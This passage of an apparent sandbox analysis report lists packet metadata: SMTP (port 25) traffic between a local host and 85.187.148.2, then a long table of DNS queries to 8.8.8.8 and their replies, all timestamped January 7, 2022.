Jan 7, 2022 15:58:24.455552101 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.455712080 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.455913067 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.456064939 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.456228018 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.456434965 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.456569910 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.456773043 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.456948996 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.457108021 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.457307100 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.457472086 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.457654953 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:58:24.457849026 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.457892895 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:58:24.634218931 CET	25	49928	85.187.148.2	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2022 15:55:55.699006081 CET	53097	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:55:55.715244055 CET	53	53097	8.8.8.8	192.168.2.4
Jan 7, 2022 15:55:55.743016005 CET	49257	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:55:55.761254072 CET	53	49257	8.8.8.8	192.168.2.4
Jan 7, 2022 15:55:55.885144949 CET	62389	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:55:55.903605938 CET	53	62389	8.8.8.8	192.168.2.4
Jan 7, 2022 15:55:55.926779032 CET	49910	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:55:55.945007086 CET	53	49910	8.8.8.8	192.168.2.4
Jan 7, 2022 15:55:55.978785992 CET	55854	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:55:55.997138023 CET	53	55854	8.8.8.8	192.168.2.4
Jan 7, 2022 15:55:57.020241022 CET	64549	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:55:57.036650896 CET	53	64549	8.8.8.8	192.168.2.4
Jan 7, 2022 15:55:57.040699005 CET	63153	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:55:57.057832003 CET	53	63153	8.8.8.8	192.168.2.4
Jan 7, 2022 15:55:57.090035915 CET	52991	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:55:57.117574930 CET	53	52991	8.8.8.8	192.168.2.4
Jan 7, 2022 15:55:57.121206045 CET	53700	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:55:57.160283089 CET	53	53700	8.8.8.8	192.168.2.4
Jan 7, 2022 15:55:57.164607048 CET	51726	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:55:57.183466911 CET	53	51726	8.8.8.8	192.168.2.4
Jan 7, 2022 15:55:57.209850073 CET	56794	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:55:57.228660107 CET	53	56794	8.8.8.8	192.168.2.4
Jan 7, 2022 15:55:57.286797047 CET	56534	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:55:57.304842949 CET	53	56534	8.8.8.8	192.168.2.4
Jan 7, 2022 15:55:57.308744907 CET	56627	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:55:57.325731993 CET	53	56627	8.8.8.8	192.168.2.4
Jan 7, 2022 15:55:57.381923914 CET	56621	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:55:57.400459051 CET	53	56621	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:01.063128948 CET	63116	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:01.085022926 CET	53	63116	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:01.088247061 CET	64078	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:01.109148026 CET	53	64078	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:01.252124071 CET	64801	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:01.271496058 CET	53	64801	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:01.274230003 CET	61721	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:01.295581102 CET	53	61721	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:02.402266026 CET	51255	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:02.418996096 CET	53	51255	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:02.421776056 CET	61522	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:02.438877106 CET	53	61522	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:02.443522930 CET	52337	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:02.462474108 CET	53	52337	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:02.578610897 CET	55046	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:02.599011898 CET	53	55046	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:02.602297068 CET	49612	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:02.621073008 CET	53	49612	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:02.624434948 CET	49285	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:02.643436909 CET	53	49285	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:02.651077986 CET	50601	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:02.671858072 CET	53	50601	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:02.674774885 CET	60875	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:02.695249081 CET	53	60875	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:02.697468996 CET	56448	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:02.715281963 CET	53	56448	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:03.509174109 CET	59172	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:03.529347897 CET	53	59172	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:03.532761097 CET	62420	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:03.553330898 CET	53	62420	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:03.556027889 CET	60579	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:03.577331066 CET	53	60579	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:03.686528921 CET	50183	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:03.703072071 CET	53	50183	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:03.706037998 CET	61531	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:03.724169970 CET	53	61531	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:04.117396116 CET	49228	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:04.134061098 CET	53	49228	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:04.136883020 CET	59794	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:04.182979107 CET	53	59794	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:04.191649914 CET	55916	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:04.235786915 CET	53	55916	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:04.238805056 CET	52752	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:04.257720947 CET	53	52752	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:04.847424984 CET	60542	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:04.865566969 CET	53	60542	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:04.868220091 CET	60689	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:04.884306908 CET	53	60689	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:04.888449907 CET	64206	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:04.904942989 CET	53	64206	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:04.908188105 CET	50904	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:04.926330090 CET	53	50904	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:05.701724052 CET	57525	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:05.719872952 CET	53	57525	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:05.722362041 CET	53814	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:05.738791943 CET	53	53814	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:06.307356119 CET	53418	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:06.326227903 CET	53	53418	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:06.328965902 CET	62833	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:06.345381021 CET	53	62833	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:07.767626047 CET	59260	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:07.785640955 CET	53	59260	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:07.788423061 CET	49944	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:07.806413889 CET	53	49944	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:09.239671946 CET	61449	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:09.258546114 CET	53	61449	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:09.261277914 CET	51275	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:09.279493093 CET	53	51275	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:10.473917961 CET	63492	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:10.492750883 CET	53	63492	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:10.494699001 CET	58945	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:10.512806892 CET	53	58945	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:10.514936924 CET	60779	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:10.533107042 CET	53	60779	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:11.162825108 CET	64014	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:11.179466009 CET	53	64014	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:15.854176998 CET	57091	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:15.873262882 CET	53	57091	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:15.875057936 CET	55904	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:15.892764091 CET	53	55904	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:15.895180941 CET	52109	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:15.915395021 CET	53	52109	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:16.338819981 CET	54450	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:16.357225895 CET	53	54450	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:16.365921021 CET	49374	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:16.387238979 CET	53	49374	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:16.411376953 CET	50436	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:16.425685883 CET	62605	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:16.433011055 CET	53	50436	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:16.435539007 CET	54256	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:16.445595026 CET	53	62605	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:16.457988024 CET	53	54256	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:16.580040932 CET	52189	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:16.598458052 CET	53	52189	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:16.601514101 CET	56131	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:16.610898018 CET	62992	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:16.620981932 CET	53	56131	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:16.623872042 CET	54432	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:16.632966995 CET	53	62992	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:16.634629965 CET	57227	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:16.640779972 CET	53	54432	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:16.644088984 CET	58383	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:16.653043032 CET	53	57227	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:16.668965101 CET	53	58383	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:16.671837091 CET	63136	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:16.699155092 CET	53	63136	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:16.701786995 CET	50911	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:16.728841066 CET	53	50911	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:16.968314886 CET	63409	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:16.986929893 CET	53	63409	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:16.989423990 CET	59185	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:17.008318901 CET	53	59185	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:17.011162043 CET	64236	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:17.031274080 CET	53	64236	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:17.036143064 CET	56157	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:17.044202089 CET	55601	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:17.064523935 CET	53	55601	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:17.067385912 CET	52984	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:17.082631111 CET	53	56157	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:17.086774111 CET	53	52984	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:17.203097105 CET	51141	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:17.221599102 CET	53	51141	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:17.356103897 CET	53610	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:17.357058048 CET	61247	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:17.372965097 CET	53	53610	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:17.375247955 CET	53	61247	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:17.377789021 CET	65165	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:17.396250010 CET	53	65165	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:17.521306992 CET	52076	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:17.538346052 CET	53	52076	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:17.540914059 CET	54903	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:17.557493925 CET	53	54903	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:17.705239058 CET	55045	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:17.723839045 CET	53	55045	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:23.756962061 CET	54464	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:23.885704994 CET	53	54464	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:23.889741898 CET	50970	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:23.906374931 CET	53	50970	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:23.911736965 CET	55261	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:23.930340052 CET	53	55261	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:46.820949078 CET	59809	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:46.839034081 CET	53	59809	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:46.844975948 CET	51278	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:46.863826990 CET	53	51278	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.310728073 CET	51932	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.310758114 CET	59494	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.311242104 CET	55915	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.311471939 CET	49779	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.312258005 CET	49458	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.321005106 CET	57164	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.328772068 CET	53	49458	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.328802109 CET	53	51932	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.329241037 CET	53	55915	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.329735041 CET	53	59494	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.329869986 CET	53	49779	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.333010912 CET	49840	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.337009907 CET	57174	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.337913036 CET	58531	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.339874029 CET	49608	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.341006041 CET	55682	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.341406107 CET	53	57164	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.351541042 CET	53	49840	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.352276087 CET	62436	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.352973938 CET	61230	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.353864908 CET	53	57174	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.354696035 CET	53	58531	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.356187105 CET	53	49608	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.368694067 CET	64730	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.371196032 CET	53	62436	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.371226072 CET	53	61230	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.379021883 CET	60624	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.384243011 CET	62600	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.397984028 CET	53	60624	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.401016951 CET	53200	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.402798891 CET	53	62600	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.403059959 CET	53	64730	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.405008078 CET	61034	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.413707018 CET	57687	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.418025017 CET	53	53200	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.420164108 CET	49839	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.424073935 CET	53	61034	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.432481050 CET	53	57687	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.438976049 CET	53	49839	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.441940069 CET	57975	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.446185112 CET	57610	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.458847046 CET	53	57975	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.459835052 CET	53	55682	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.463468075 CET	55137	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.464394093 CET	59216	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.465289116 CET	53	57610	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.475316048 CET	63495	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.479643106 CET	53	55137	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.496228933 CET	53	63495	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.507657051 CET	64371	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.526523113 CET	53	64371	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.539098024 CET	54037	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.558062077 CET	53	54037	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.572715044 CET	53481	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.584773064 CET	53	59216	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.594553947 CET	53	53481	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.601564884 CET	58313	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.620556116 CET	53	58313	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.625020027 CET	58950	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.643698931 CET	53	58950	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.913568974 CET	55011	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.932359934 CET	53	55011	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.944941998 CET	57198	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.961863995 CET	53	57198	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:47.976890087 CET	60875	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:47.995548010 CET	53	60875	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:48.008734941 CET	55134	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:48.023279905 CET	53695	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:48.038343906 CET	50975	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:48.044434071 CET	53	53695	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:48.054749012 CET	65460	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:48.057378054 CET	53	50975	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:48.070645094 CET	53	55134	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:48.073076963 CET	63669	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:48.073888063 CET	53	65460	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:48.088998079 CET	51653	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:48.091794968 CET	53	63669	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:48.101388931 CET	56473	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:48.119945049 CET	53	51653	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:48.123913050 CET	61454	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:48.129549980 CET	53	56473	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:48.142975092 CET	53	61454	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:48.492348909 CET	54323	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:48.510462046 CET	53	54323	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:48.524425030 CET	59960	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:48.543330908 CET	53	59960	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:48.712140083 CET	50205	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:48.730830908 CET	53	50205	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:48.733616114 CET	50896	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:48.752460957 CET	53	50896	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:48.756576061 CET	59151	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:48.773000956 CET	53	59151	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:48.776932001 CET	56163	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:48.803617001 CET	53	56163	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:48.806724072 CET	57186	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:48.831763983 CET	53	57186	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:48.836522102 CET	61125	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:48.854979038 CET	53	61125	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:48.869919062 CET	61227	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:48.888957024 CET	53	61227	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:50.132973909 CET	54676	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:50.164697886 CET	53	54676	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:50.180879116 CET	65030	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:50.217658997 CET	53	65030	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:51.429416895 CET	61740	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:51.447547913 CET	53	61740	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:51.450124979 CET	59708	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:51.490655899 CET	53	59708	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:52.214639902 CET	54044	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:52.231189013 CET	53	54044	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:52.234117985 CET	56932	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:52.250627041 CET	53	56932	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:52.960897923 CET	57817	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:52.979419947 CET	53	57817	8.8.8.8	192.168.2.4
Jan 7, 2022 15:56:52.984880924 CET	59556	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:56:53.003101110 CET	53	59556	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:03.870516062 CET	57540	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:03.890072107 CET	53	57540	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:09.213083982 CET	62337	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:09.231527090 CET	53	62337	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:09.238614082 CET	57550	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:09.273929119 CET	63523	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:09.289684057 CET	53	57550	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:09.290314913 CET	53	63523	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:09.296901941 CET	59501	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:09.324944019 CET	53	59501	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:09.869786978 CET	60033	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:09.903053999 CET	53	60033	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:09.908560991 CET	62142	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:09.925033092 CET	53	62142	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:10.025149107 CET	54705	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:10.059015989 CET	54769	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:10.079086065 CET	53	54769	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:10.090013027 CET	60082	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:10.093974113 CET	53	54705	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:10.104309082 CET	60240	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:10.109105110 CET	53	60082	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:10.118366003 CET	59532	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:10.122042894 CET	53	60240	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:10.129638910 CET	50931	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:10.139178038 CET	53	59532	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:10.147089005 CET	53	50931	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:10.154221058 CET	56567	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:10.165033102 CET	59510	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:10.173156023 CET	53	56567	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:10.181950092 CET	53	59510	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:10.189646006 CET	62793	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:10.198123932 CET	51090	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:10.208798885 CET	53	62793	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:10.263560057 CET	53	51090	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:10.266904116 CET	57527	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:10.331135035 CET	53	57527	8.8.8.8	192.168.2.4
